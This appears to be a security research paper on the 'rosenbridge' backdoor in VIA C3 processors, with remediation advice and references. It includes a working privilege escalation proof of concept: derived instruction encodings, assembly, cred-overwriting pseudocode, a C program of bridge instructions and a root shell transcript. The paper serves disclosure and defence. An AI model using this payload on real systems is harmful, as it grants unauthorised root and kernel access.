0acb6190  [ 0000 1010  1100 1011  0110 0001  1001 0000 ] 
0aeb0a40  [ 0000 1010  1110 1011  0000 1010  0100 0000 ] 
0e0b979a  [ 0000 1110  0000 1011  1001 0111  1001 1010 ] 
0e394d65  [ 0000 1110  0011 1001  0100 1101  0110 0101 ] 
0e98e966  [ 0000 1110  1001 1000  1110 1001  0110 0110 ] 
0eb8fb64  [ 0000 1110  1011 1000  1111 1011  0110 0100 ] 
84d09f36  [ 1000 0100  1101 0000  1001 1111  0011 0110 ] 
ea16fea8  [ 1110 1010  0001 0110  1111 1110  1010 1000 ] 

 
==== bin: memory write ====                                                      

4c328b03  [ 0100 1100  0011 0010  1000 1011  0000 0011 ] 
5d36cf83  [ 0101 1101  0011 0110  1100 1111  1000 0011 ] 
5df788af  [ 0101 1101  1111 0111  1000 1000  1010 1111 ] 
9bf3474d  [ 1001 1011  1111 0011  0100 0111  0100 1101 ] 
9c15aa0a  [ 1001 1100  0001 0101  1010 1010  0000 1010 ] 
9ed314c8  [ 1001 1110  1101 0011  0001 0100  1100 1000 ] 
9ed39488  [ 1001 1110  1101 0011  1001 0100  1000 1000 ] 
e297738b  [ 1110 0010  1001 0111  0111 0011  1000 1011 ] 
e2b3338b  [ 1110 0010  1011 0011  0011 0011  1000 1011 ] 
e737980b  [ 1110 0111  0011 0111  1001 1000  0000 1011 ] 
e796780b  [ 1110 0111  1001 0110  0111 1000  0000 1011 ] 
ec94ee01  [ 1110 1100  1001 0100  1110 1110  0000 0001 ] 
ed9458a9  [ 1110 1101  1001 0100  0101 1000  1010 1001 ] 
f8b4e96b  [ 1111 1000  1011 0100  1110 1001  0110 1011 ] 
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purpose RISC computation on the DEC. 

 
Figure 16.  Instruction primitives identified by the collector, and implemented 

by the DEIS-assembler.  While the collector identifies significantly more 
primitives than shown, only a subset of the primitives are currently 

implemented in the assembler. 

Using the instruction bins generated by the collector, bit 

patterns for each bin can be automatically extracted to derive 

the binary encoding for instructions (Figure 17). 

 
Figure 17.  Automatically derived encodings for each of the selected instruction 

primitives. 

 In the analysis, “opcode” bits are detected by identifying bits 

that are entirely consistent for all instructions in a bin; 

“unknown” bits are those that seem to follow a pattern (such as 

almost always 1 or almost always 0), but the pattern cannot be 

correlated with the instruction effects; “don’t care” bits are 

those that have no obvious pattern within the bin.  Operand 

encodings are identified as either “register”, “offset”, “length”, 

or “value”; “register” bits are those that change which registers 

are modified by the instruction; “offset” bits encode an offset to 

be added to the register operand; “length” bits encode the length 

of data read or written to memory; “value” bits encode a 

constant value used in the instruction. 

 Registers are encoded with 4 bits, where eax is 0b0000, ebx 

is 0b0011, ecx is 0b0001, edx is 0b0010, esi is 0b0110, edi 

is 0b0111, ebp is 0b0101, and esp is 0b0100.  It may be that 

the high order bit of the register encoding is used to select either 

RISC-only or MMX registers; this was not investigated. 

 Instructions operate on zero, one, or two explicit registers.  

When operating on zero or one explicit register, the eax register 

is sometimes used as an implicit register. 

 Zero to eight opcode bits typically appear at the beginning of 

an instruction, with a possibility for additional opcode bits 

elsewhere in the instruction. 

 It is clear that the automatically derived bit fields are 

imperfect; for example, la8 and ra8 should almost certainly 

have identical bit fields, but the auto-derived representations are 

substantially different.  This can be caused by sparseness in the 

instruction bin, or the binning process failing to identify some 

instruction behavior, which in turn causes a failure in separating 

functionally different instructions.  In applying the 

automatically derived bit fields for instruction encoding, a 

‘template’ instruction is chosen from the target bin, which is 

used to fill out the opcode, unknown, and don’t-care bits; in 

practice, this eliminated any potential issues caused by the 

imperfect bit field determination. 

A feedback loop between the bit-field parser and instruction 

fuzzer would significantly improve these results, but has not 

been implemented. 

 In addition to the automatically extracted instructions, 

manual analysis also reveals a variety of interesting or 

potentially useful DEC instructions.  523c8b0c performed a 

byte to short conversion, changing register mm1 from 

00000000080adfe9 to 0008000a00df00e9.  fab4b6af 

appeared to push register esi to the stack twice, but adjusted 

the stack pointer in the opposite direction of an x86 push.  

Instructions exist for both zeroing specific bytes of a register, 

as well as ‘one-ing’ bytes of a register; d693bec3 sets edi 

from 4af58db3 to 4affffff.  8ec565e5 swapped the low 

and high word of eax, from 0804e289 to e2890804.  

Privileged ring 0 registers are easily accessed with the RISC 

core: 88f7cf99 writes eax to dr3,  a5e5ad5e loads cr0 into 

ebp.  A cursory examination of the fuzzing logs [1] reveals 

countless other valuable instructions. 

With nearly 4000 hours of fuzzing necessary to generate 

these execution primitives, it is worth looking at whether such 

lengths were actually necessary.  In analyzing the data, it was 

apparent that many instructions, such as the RISC mov, were 

over-represented, and had far more samples than were 

necessary for deriving their format.  However, others – notably, 

the lgd instruction – appeared only once in the logs of over 2 

million tests; it appears that these would not have been resolved 

with substantially fewer tests, and in fact there are likely many 

other DEC instructions that have still not been found. 

 With the format of the selected RISC primitives 

automatically derived, we wrote a custom DEIS assembler that 

assembles program written in the Figure 16 primitives into their 

binary representation, and wraps each assembled RISC 

instruction in the x86 bridge instruction.  With the custom 

assembler, a payload written in DEIS assembly can be built into 

an executable that can be launched from the x86 core. 

 lgd: load base address of gdt into register 
 mov: copy register contents 
 izx: load 2 byte immediate, zero extended 
 isx: load 2 byte immediate, sign extended 
 ra4: shift eax right by 4 
 la4: shift eax left by 4 
 ra8: shift eax right by 8 
 la8: shift eax left by 8 
 and: bitwise and of two registers, into eax 
 or:  bitwise or of two registers, into eax 
 ada: add register to eax 
 sba: sub register from eax 
 ld4: load 4 bytes from kernel memory 
 st4: store 4 bytes into kernel memory 
 ad4: increment a register by 4 
 ad2: increment a register by 2 
 ad1: increment a register by 1 
 zl3: zero low 3 bytes of register 
 zl2: zero low 2 bytes of register 
 zl1: zero low byte of register 
 cmb: shift low word of source into low word of destination 

lgd: [oooooooo....++++........        ] 
mov: [oooooooo....++++.++++           ] 
izx: [oooooooo....++++++++++++++++++++] 
isx: [oooooooo....++++++++++++++++++++] 
ra4: [oooo.......................oooo.] 
la4: [oooo.......................oo...] 
ra8: [oooo........oooo...........oooo.] 
la8: [oooo........................oooo] 
and: [ooooooo++++.++++............oooo] 
or:  [ooooooo++++.++++............oooo] 
ada: [oooooooo    ++++             ooo] 
sba: [oooooooo    ++++             ooo] 
ld4: [oooooooo---.++++.++++...==......] 
st4: [oooooooo---.++++.++++...==......] 
ad4: [ooooooo++++...==                ] 
ad2: [ooooooo++++...==                ] 
ad1: [ooooooo++++...==                ] 
zl3: [ooooooo.        .++++...........] 
zl2: [ooooooo.        .++++...........] 
zl1: [ooooooo.        .++++...........] 
cmb: [oooooooo....++++.++++...........] 

 

[o] opcode  [.] unknown  [ ] don't care 
[+] register  [-] offset  [=] length/value 



 10 

VI. PRIVILEGE ESCALATION PAYLOAD 

As a proof-of-concept, we create a payload for the 

rosenbridge backdoor that, when executed from an 

unprivileged userland process, sends instructions to the deeply 

embedded core to read and modify kernel memory, and grant 

the executing process root permissions.  While it was possible 

to implement the payload with only eight DEIS instructions, 

instead we chose to execute the complete payload through the 

rosenbridge backdoor, to more completely illustrate the 

execution power of the DEC. 

 
Figure 18.  Parsing to isolate the process credentials starting from the global 

descriptor table.  The parsing approach is loosely based on [13]. 

 An overview of the payload is shown in Figure 18.  By 

reading kernel memory, the x86 global descriptor table (GDT) 

is parsed, from which a pointer to the current process’s 

task_struct structure is retrieved.  From task_struct, a 

pointer to the process’s cred structure is retrieved.  With access 

to the cred structure, kernel write primitives are used to set the 

various permission fields to root access.  When the code 

completes, the process has root permissions through the kernel 

memory tampering, and a new root shell is launched.  

 
Figure 19.  Pseudocode describing escalating the current process to root 

permissions. 

Pseudocode for the privilege escalation payload is shown in 

Figure 19.  The implemented payload is designed against 

Debian 6.0.10 (i386), using Linux kernel version 2.6.32; 

however, the payload is easily adaptable to any operating 

system or kernel. 

To implement the payload, the pseudocode must be 

converted to the available backdoor primitives discussed in 

section V.  With a fairly limited set of identified primitives, this 

requires some creativity on the part of the programmer, much 

like writing a ROP chain.  Figure 20 illustrates the final 

payload, written in the custom assembly language described in 

section V.  

 
Figure 20.  Assembly code for the deeply embedded core implementing 

privilege escalation for the current process. 

Finally, we convert the prototype to a functioning executable 

that will take the user from an unprivileged account to root 

permissions (Figure 21).  We implement a custom assembler 

for the language described in section V, which translates the 

backdoor primitives into their raw 32-bit representation.  Each 

of these RISC instructions is then wrapped in the x86 bound 

bridge instruction, which will send it to the deeply embedded 

core.  To activate the DEC, we add the 0f3f launch instruction 

to the beginning of the program.  The program concludes by 

launching a shell, which will have root permissions after the 

backdoor kernel accesses. 

 
Figure 21.  The complete privilege escalation payload.  The deeply embedded 
core is activated with the 0f3f launch instruction at the beginning, and is then 

 
 
 
 
 
 
 
 
 
 
 
 

  0  gdt_base = get_gdt_base(); 
  1  descriptor = *(uint64_t*)(gdt_base+KERNEL_SEG); 
  2  fs_base=((descriptor&0xff00000000000000ULL)>>32)| 
  3          ((descriptor&0x000000ff00000000ULL)>>16)| 
  4          ((descriptor&0x00000000ffff0000ULL)>>16); 
  5  task_struct = *(uint32_t*)(fs_base+OFFSET_TASK_STRUCT); 
  6  cred = *(uint32_t*)(task_struct+OFFSET_CRED); 
  7  root = 0 
  8  *(uint32_t*)(cred+OFFSET_CRED_VAL_UID) = root; 
  9  *(uint32_t*)(cred+OFFSET_CRED_VAL_GID) = root; 
 10  *(uint32_t*)(cred+OFFSET_CRED_VAL_EUID) = root; 
 11  *(uint32_t*)(cred+OFFSET_CRED_VAL_EGID) = root; 

   lgd %eax            or  %ebx, %eax         izx $0x4, %ecx 
                       izx $0x5f20, %ecx      ada %ecx 
   izx $0x78, %edx     izx $0xc133, %edx      st4 %edx, %eax 
   ada %edx            cmb %ecx, %edx             
                       ada %edx               ada %ecx 
   ad2 %eax            ld4 %eax, %eax         st4 %edx, %eax 
   ld4 %eax, %edx                                 
   ad2 %eax            izx $0x208, %edx       ada %ecx 
   ld4 %eax, %ebx      ada %edx               ada %ecx 
   zl3 %ebx            ld4 %eax, %eax         st4 %edx, %eax 
   mov %edx, %eax                                 
   la8                 izx $0, %edx           ada %ecx 
   ra8                                        st4 %edx, %eax 

  0  #include <stdlib.h> 
  1  
  2 int main(void) 
  3 { 
  4     /* unlock the backdoor */ 
  5     __asm__ ("movl $payload, %eax"); 
  6     __asm__ (".byte 0x0f, 0x3f"); 
  7  
  8     /* modify kernel memory */ 
  9     __asm__ ("payload:"); 
 10     __asm__ ("bound %eax,0xa310075b(,%eax,1)"); 
 11     __asm__ ("bound %eax,0x24120078(,%eax,1)"); 
 12     __asm__ ("bound %eax,0x80d2c5d0(,%eax,1)"); 
 13     __asm__ ("bound %eax,0x0a1af97f(,%eax,1)"); 
 14     __asm__ ("bound %eax,0xc8109489(,%eax,1)"); 
 15     __asm__ ("bound %eax,0x0a1af97f(,%eax,1)"); 
 16     __asm__ ("bound %eax,0xc8109c89(,%eax,1)"); 
 17     __asm__ ("bound %eax,0xc5e998d7(,%eax,1)"); 
 18     __asm__ ("bound %eax,0xac128751(,%eax,1)"); 
 19     __asm__ ("bound %eax,0x844475e0(,%eax,1)"); 
 20     __asm__ ("bound %eax,0x84245de2(,%eax,1)"); 
 21     __asm__ ("bound %eax,0x8213e5d5(,%eax,1)"); 
 22     __asm__ ("bound %eax,0x24115f20(,%eax,1)"); 
 23     __asm__ ("bound %eax,0x2412c133(,%eax,1)"); 
 24     __asm__ ("bound %eax,0xa2519433(,%eax,1)"); 
 25     __asm__ ("bound %eax,0x80d2c5d0(,%eax,1)"); 
 26     __asm__ ("bound %eax,0xc8108489(,%eax,1)"); 
 27     __asm__ ("bound %eax,0x24120208(,%eax,1)"); 
 28     __asm__ ("bound %eax,0x80d2c5d0(,%eax,1)"); 
 29     __asm__ ("bound %eax,0xc8108489(,%eax,1)"); 
 30     __asm__ ("bound %eax,0x24120000(,%eax,1)"); 
 31     __asm__ ("bound %eax,0x24110004(,%eax,1)"); 
 32     __asm__ ("bound %eax,0x80d1c5d0(,%eax,1)"); 
 33     __asm__ ("bound %eax,0xe01095fd(,%eax,1)"); 
 34     __asm__ ("bound %eax,0x80d1c5d0(,%eax,1)"); 
 35     __asm__ ("bound %eax,0xe01095fd(,%eax,1)"); 
 36     __asm__ ("bound %eax,0x80d1c5d0(,%eax,1)"); 
 37     __asm__ ("bound %eax,0x80d1c5d0(,%eax,1)"); 
 38     __asm__ ("bound %eax,0xe0108dfd(,%eax,1)"); 
 39     __asm__ ("bound %eax,0x80d1c5d0(,%eax,1)"); 
 40     __asm__ ("bound %eax,0xe0108dfd(,%eax,1)"); 
 41  
 42     /* launch a shell */ 
 43     system("/bin/bash"); 
 44  
 45     return 0; 
 46 } 

GDT cred task_struct 

… 
fs 
… 

… 
.cred 
… 

.uid 

.gid 

.euid 

.egid 
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fed DEIS instructions through the x86 ‘bound’ bridge instruction.  The DEIS 
instructions circumvent the processor security model, reaching into kernel 

memory to grant the process root permissions. 

The program is executed from an unprivileged account, and 

gains root permissions.  Of course, this is only done as a 

demonstration; the backdoor is not restricted to providing only 

root permissions, and is easily used to gain full kernel 

execution.  In this example, it is assumed that the god mode bit 

is already set, activating the backdoor; while this, in theory, 

requires kernel level execution at some previous point in time, 

in section VII we demonstrate that the god mode bit is enabled 

by default on many systems, allowing any unprivileged code, 

with no prior access to the system, to immediately gain kernel 

level execution. 

 
Figure 22.  The privilege escalation payload in Figure 21 is executed.  The 
launch instruction enables the deeply embedded core, and the bridge 

instructions issue commands to the DEC.  These commands parse and modify 

kernel memory to grant the current process root permissions.  The process 

launches a shell with the new permissions. 

VII. CONSEQUENCES 

The existence of an undocumented mechanism for 

circumventing all processor privilege checks is serious, and 

raises grave concerns for the security of the processor.  

Nonetheless, these risks should be partially mitigated by the 

fact that some initial, one-time ring 0 execution is required by 

the attacker in order to first enable the god mode bit, which 

activates the DEC core needed for the rest of the attack.  While 

this provides some small comfort, the relief is short-lived. 

In the simplest scenario, an attacker with this initial one-time 

kernel access can use the god mode bit to open a convenient, 

operating-system-independent backdoor for future operations, 

eliminating the need for a complex kernel level foothold on the 

system. 

While this is a potential attack scenario, far more concerning 

is the possibility of the god mode bit being enabled for specific 

targets during manufacturing or by malicious firmware.  The 

default state of the model-specific-register bits is trivially 

modifiable by fuse bits set at the factory, or can be configured 

long before the operating system starts by early bootstrap code. 

In fact, this is exactly the ‘doomsday’ scenario we have 

observed.  On some systems, the god mode bit is enabled by 

default (CVE pending).  The VIA C3 Samuel 2 family of x86 

processors appear to be affected by this; a Wyse 9455XL thin 

client and HP t5125 thin client, both with the Samuel 2 

generation of processor, were observed to start up with the god 

mode bit already toggled – from the moment the operating 

system starts, an unknown, stealthy, virtually invisible 

backdoor exists in the processor, and is simply waiting for 

instructions.  With the deeply embedded core active, any 

unprivileged code can use the backdoor to immediately gain 

super-user or kernel level execution. 

Since this is a processor level backdoor, the vulnerability 

exists for all software, operating systems, and patches.  It allows 

instantly bypassing all kernel security mechanisms, such as 

code signing, kernel address space layout randomization 

(KASLR), and control flow guard (CFG).  It survives software 

patches, operating system updates, and firmware upgrades. 

While the rosenbridge backdoor is not inherently a remote 

vulnerability, it is worth examining whether a remote attacker 

could use the backdoor for kernel privilege escalation, without 

first employing a separate, preliminary exploit for unprivileged 

code execution.  To use the backdoor, a remote attacker needs 

to be able to cause a remote target to execute the launch 

instruction to activate the deeply embedded core, followed by a 

series of bridge instructions to execute a payload on the DEC.  

Although a system call was used in the proof-of-concept 

(Figure 21), since the DEC allows arbitrary reads and writes to 

kernel memory, no system call privileges are actually required 

for kernel level code execution.  The launch instruction, 0f3f, 

is likely the biggest hurdle for a remote attacker.  Since it is not 

a documented x86 instruction, it could not be generated by, for 

example, WebAssembly, nor would it be allowed by sandboxes 

using x86 emulation or binary translation.  Sandboxes using 

sophisticated scanning technology to provide bare-metal 

execution, such as Native Client, would also not allow this 

instruction.  A workable remote attack scenario might target a 

personal security product that performs automated scans of 

incoming executables in a sandbox utilizing bare-metal 

execution but restricted or emulated system calls; combined 

with a drive-by download, both the launch instruction and 

bridge instructions could be executed within the sandbox to 

modify kernel memory and escalate privileges.  However, the 

specificity of this scenario is overly restrictive, and we conclude 

the rosenbridge backdoor would not appear to be a significant 

remote security threat.  Rather, it provides an attacker easy 

kernel privilege escalation, once unprivileged local execution is 

attained, eliminating the need for increasingly complex 

operating system or driver exploits. 

VIII. REMEDIATION 

The rosenbridge backdoor is a part of the silicon of the 

processor, and cannot be removed.  However, there are a variety 

of options, with varying effectiveness, for disabling the 

backdoor. 

In the best approach, processor microcode is updated to lock 

down the god mode bit and prevent it from being toggled.  The 

updated microcode is applied early in every boot cycle, to 

prevent access to the bit by untrusted code.  While an attacker 

with code execution prior to the microcode update in the boot 

process could make use of the backdoor, code with this level of 

access would have little use for the extra privileges rosenbridge 

provides.  While this approach provides the best fix in terms of 

security, microcode updates are difficult to deploy, and rarely 

applied by the end user, all but ensuring the vulnerability 

remains unpatched for the majority of systems. 

As an alternative, the operating system can be updated to 

ensure that the god mode bit is cleared during early OS boot.  

While this solution is easy to deploy, it is unable to prevent 

malicious ring 0 code (such as from a compromised driver) 

from enabling the bit as a convenient, low-maintenance 

backdoor.  Periodic checks of the god mode bit by the operating 

delta:~/rosenbridge/esc/bin$ whoami  
delta 
delta:~/rosenbridge/esc/bin$ ./escalate  
bash-4.1# whoami 
root 
bash-4.1# 
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system, similar to kernel integrity checks, could make such an 

attack less practical. 

Virtualization-based security solutions can provide effective 

mitigations against MSR-dependent attacks, but the target 

processors in this research are primarily designed for low power 

embedded devices, and do not support hardware virtualization. 

As a stopgap measure, we have created a loadable kernel 

module that can be launched early in the boot process, which 

will clear the god mode bit, and periodically ensure that it has 

not been set [1]. 

IX. OTHER PROCESSORS 

The rosenbridge backdoor is the first known hardware level 

backdoor in an x86 processor, as well as one of the first in any 

consumer processor; this, in and of itself, makes it a radical step 

forward in security research.  However, the backdoor, as 

explored in this paper, appears in only a narrow set of a decade-

old line of processors; it is not a threat to the average user today.  

Instead, the primary value of this research is as a case study into 

the possibility (now conclusively demonstrated) of hardware 

backdoors, a practical investigation into how such backdoors 

might be implemented, and a thought experiment on how an 

outside observer could uncover such a threat. 

In exploring the wider implications of rosenbridge, 

concerning the feasibility of hardware backdoors in similar 

processor and beyond, it is useful to reexamine some of the 

defining features of the observed implementation.  In particular, 

while many of the internals might be expected to be vastly 

different in other implementations, the concept of enabling or 

disabling the backdoor through a processor configuration 

register seems quite practical.  In this vein, we adapted the MSR 

timing attack methods from section IV to a further line of 

research – uncovering password protected registers in modern 

processors.  This work, open sourced as project:nightshyft [11], 

and described in the companion paper Cracking Protected CPU 

Registers [12] uncovered promising, but inconclusive, findings  

on other processors, but may lead us towards more advanced 

and protected hardware backdoors. 

An alternate approach may be to follow in the footsteps of 

the rosenbridge research, and follow the bread crumb trails of 

patent applications.  While a full analysis is outside the scope 

of this paper, the authors note that the patents leveraged in this 

work were only the tip of the iceberg in our research; advanced 

and undocumented processor capabilities discovered through 

patent applications spanned the gamut of vendors and 

architectures, reaching well beyond the x86 centric approach 

explored in rosenbridge. 

In the end, we offer no definitive conclusions or speculation 

as to the feasibility, rationale, or practicality of more wide 

spread hardware backdoors.  Rather, we observe only that the 

nature of a black box processor necessitates skepticism on the 

nature of their security, and the best path forward may be only 

continued vigilance from users, transparency and cooperation 

from vendors, and passion and ample skepticism from 

researchers. 

X. CONCLUSION 

The rosenbridge backdoor provides a well-hidden, 

devastating circumvention to the long-standing x86 ring 

privilege model.  In offering a knowledgeable attacker direct, 

unrestricted access to the kernel from arbitrary unprivileged 

code, the backdoor negates decades of progress on hardware 

and software kernel security mechanisms.  Research into this 

backdoor is ongoing, and is presently being tracked under [CVE 

pending].  While this specific vulnerability is not widespread, it 

serves as a valuable case study into the feasibility and 

implementation of processor backdoors. 

In the wake of hardware backdoors, our existing security 

models are nearly entirely broken.  Decades of work on 

software protection mechanisms do nothing to protect against 

such a threat, and we are bleakly unprepared for what lies 

ahead.  In looking forward, we propose that, rather than panic 

and speculate, a valuable near-term course of action is to 

continue to develop tools to introspect and audit processors, 

bringing control and insight back to the end users of a chip.  To 

this end, we previously released the sandsifter fuzzer for 

resolving the secret instructions in an x86 ISA [14] [15], and 

examined the results on a wide variety of modern processors.  

Building on this theme, in this paper, we introduced an 

approach for auditing model-specific-registers through timing 

analysis; this idea is discussed further in the related paper 

Cracking Protected CPU Registers [12].  Moving forward, the 

authors intend to continue to define and explore techniques for 

introspecting an untrusted processor, in order to discover and 

break through new security boundaries in x86.  To support this, 

the research, tools, and data from this paper are open sourced as 

project:rosenbridge [1]. 

PRIOR WORK 

The sheer complexity and magnitude of the x86 architecture 

and supporting components is inevitably fodder for conspiracy 

theories and wild speculation.  Certainly, the lack of 

documentation and public information that shroud the 

architecture do not always improve the situation.  In examining 

the possibility of hardware backdoors, the most common targets 

of scrutiny are the Intel Management Engine (ME) and the 

AMD Platform Security Processor (PSP).  While these 

coprocessors certainly warrant extreme scrutiny and analysis, 

to date, they have not been shown to contain deliberate 

backdoors to the system. 

More recently, the “AMDFLAWS” press releases [16] 

claimed to have shown a hardware backdoor in the AMD 

chipset.  While there is an utter paucity of technical details 

surrounding this, even a cursory examination appears to show 

that this is not a backdoor as the word is commonly understood 

in the security community; the very language used in the press 

release – “exploitable manufacturer backdoors” [16] – suggests 

a vulnerability, rather than a deliberate backdoor.  In addition, 

kernel level execution appears to be required, the issue was 

introduced by a third party (not the processor vendor), and the 

vulnerability pivots execution into the chipset, not the 

processor.  Similar conditions have been thoroughly 
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demonstrated by researchers in the past, with far less hyperbole 

[17] [18] [19]. 

Perhaps the closest anyone has previously come to hardware 

privilege escalation on x86 were the sysret bugs of 2006 and 

2012 [20] [21] [22].  Here, differences between the Intel and 

AMD processors’ handling of canonical return addresses 

introduced the possibility of ring 3 to ring 0 privilege escalation 

on a variety of operating systems.  While these vulnerabilities 

were the indirect results of an unexpected hardware design, the 

ultimate flaw lied with the operating system software, which 

failed to validate certain return addresses. 

More recently, the Spectre and Meltdown speculative 

execution side channel vulnerabilities [23] [24] [25] provided a 

major step towards breaking the ring 3/ring 0 privilege 

boundary at a hardware level, allowing data to leak from the 

kernel into user space.  Still, these did not directly allow ring 3 

to ring 0 privilege escalation, and were not an intentional 

outcome of the processor design. 

 In this research, we heavily leveraged the x86 processor 

fuzzer sandsifter [14] [15], to uncover hidden instruction 

behavior on the target processor.  Sandsifter audits x86 

processors for hidden instructions and hardware bugs, by 

systematically generating machine code to search through a 

processor's instruction set, and monitoring execution for 

anomalies.  Here, we built on sandsifter to uncover pieces of 

the hardware backdoor. 

DISCLAIMER 

The views, information, and opinions expressed in this 

research paper are those of the author only, and do not reflect 

the views, information, or opinions of any employer, prior or 

current, of the author. 

While security professionals will agree that the mechanisms 

described constitute what is commonly understood as a 

backdoor, the author believes that this functionality was added 

as a useful debugging feature, and unintentionally left enabled 

on early generations of the processor; no malicious intent is 

implied. 

GLOSSARY 

bridge instruction 

A standard x86 instruction with a 32-bit immediate value, 

that, when preceded by the launch instruction, will send the 

32-bit immediate to the RISC pipeline of the deeply 

embedded core.  On a VIA C3 Nehemiah core, the bridge 

instruction is bound %eax,xxxxxxxx(,%eax,1), where 

xxxxxxxx is the 32-bit value to be sent to the RISC core.  

deeply embedded core (DEC) 

A RISC core, embedded alongside the x86 core of a 

processor.  The RISC core is tightly integrated with the x86 

core, sharing significant pieces of the execution pipeline and 

register file.  This offers the deeply embedded core insight 

into and control over the x86 core that is unmatched by 

known coprocessors like Intel ME and AMD PSP. 

deeply embedded instruction set (DEIS) 

The instruction set used by the deeply embedded core. 

global configuration register 

An x86 model specific register containing the god mode bit.  

god mode bit 

A bit in an x86 model specific register which, when set, 

enables the launch instruction. 

launch instruction 

A new x86 instruction, enabled by the god mode bit.  The 

instruction, 0f3f, acts as a jmp %eax instruction, and 

activates the deeply embedded core. 

rosenbridge 

A backdoor in an x86 processor. 

sandsifter 

A software tool for exhaustively scanning the instruction set 

on an x86 processor, which can be used to uncover 

undocumented instructions. 

REFERENCES 

[1]  C. Domas, "project:rosenbridge," 2018. [Online]. 

Available: github.com/xoreaxeaxeax/rosenbridge. 

[2]  VIA Technologies, Inc., "Embedded Boards," 2018. 

[Online]. Available: www.viatech.com/en/boards/. 

[3]  G. G. Henry and T. Parks, "Apparatus and method for 

limiting access to model specific registers in a 

microprocessor". US Patent 8341419, 2012. 

[4]  G. G. Henry, T. Parks and R. E. Hooker, 

"Microprocessor that performs X86 ISA and arm ISA 

machine language program instructions by hardware 

translation into microinstructions executed by common 

execution pipeline". US Patent 8880851, 2014. 

[5]  M. J. Ebersole, "Microprocessor that enables ARM ISA 

program to access 64-bit general purpose registers 

written by x86 ISA program". US Patent 9292470, 

2016. 

[6]  G. G. Henry, T. Parks and R. E. Hooker, 

"Microprocessor with boot indicator that indicates a 

boot ISA of the microprocessor as either the X86 ISA 

or the ARM ISA". US Patent 9317301, 2016. 

[7]  G. G. Henry, T. Parks and R. E. Hooker, "Accessing 

model specific registers (MSR) with different sets of 

distinct microinstructions for instructions of different 

instruction set architecture (ISA)". US Patent 9043580, 

2015. 

[8]  G. G. Henry, R. E. Hooker and T. Parks, 

"Heterogeneous ISA microprocessor with shared 

hardware ISA registers". US Patent 9141389, 2015. 

[9]  G. G. Henry, T. Parks and R. E. Hooker, 

"Heterogeneous ISA microprocessor that preserves non-

ISA-specific configuration state when reset to different 

ISA". US Patent 9146742, 2015. 

[10]  Intel, Intel 64 and IA-32 Architectures Software 

Developer's Manual, 2018.  



 14 

[11]  C. Domas, "project:nightshyft," 2018. [Online]. 

Available: github.com/xoreaxeaxeax/nightshyft. 

[12]  C. Domas, "Cracking Protected CPU Registers," in 

DEF CON, 2018.  

[13]  D. Oleksiuk, "System Management Mode backdoor for 

UEFI," 2015. [Online]. Available: 

github.com/Cr4sh/SmmBackdoor. 

[14]  C. Domas, "sandsifter," 2017. [Online]. Available: 

https://github.com/xoreaxeaxeax/sandsifter. 

[15]  C. Domas, "Breaking the x86 ISA," in Black Hat, 2017.  

[16]  CTS, "Severe Security Advisory on AMD Processors," 

2018. 

[17]  A. Tereshkin and R. Wojtczuk, "Introducing Ring -3 

Rootkits," in Black Hat, 2009.  

[18]  D. Evdokimov, A. Ermolov and M. Malyutin, "Intel 

AMT Stealth Breakthrough," in Black Hat, 2017.  

[19]  V. Ververis, "Security Evaluation of Intel's Active 

Management Technology," KTH Information and 

Communication Technology, 2010. 

[20]  R. Wojtczuk, "A Stitch In Time Saves Nine: A Case Of 

Multiple OS Vulnerability," in Black Hat, 2012.  

[21]  Mitre, "CVE-2006-0744," 2006. [Online]. Available: 

cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-

0744. 

[22]  Mitre, "CVE-2012-0217," 2012. [Online]. Available: 

cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-

0217. 

[23]  J. Horn, "Project Zero: Reading privileged memory 

with a side-channel," 2018. [Online]. Available: 

https://googleprojectzero.blogspot.com/2018/01/reading

-privileged-memory-with-side.html. 

[24]  P. Kocher, J. Horn, A. Fogh, D. Genkin, D. Gruss, W. 

Haas, M. Hamburg, M. Lipp, S. Mangard, T. Prescher, 

M. Schwarz and Y. Yarom, "Spectre Attacks: 

Exploiting Speculative Execution," in 40th IEEE 

Symposium on Security and Privacy, 2019.  

[25]  M. Lipp, M. Schwarz, D. Gruss, T. Prescher, W. Haas, 

A. Fogh, J. Horn, S. Mangard, P. Kocher, D. Genkin, Y. 

Yarom and M. Hamburg, "Meltdown: Reading Kernel 

Memory from User Space," in 27th USENIX Security 

Symposium , 2018.  

 

 


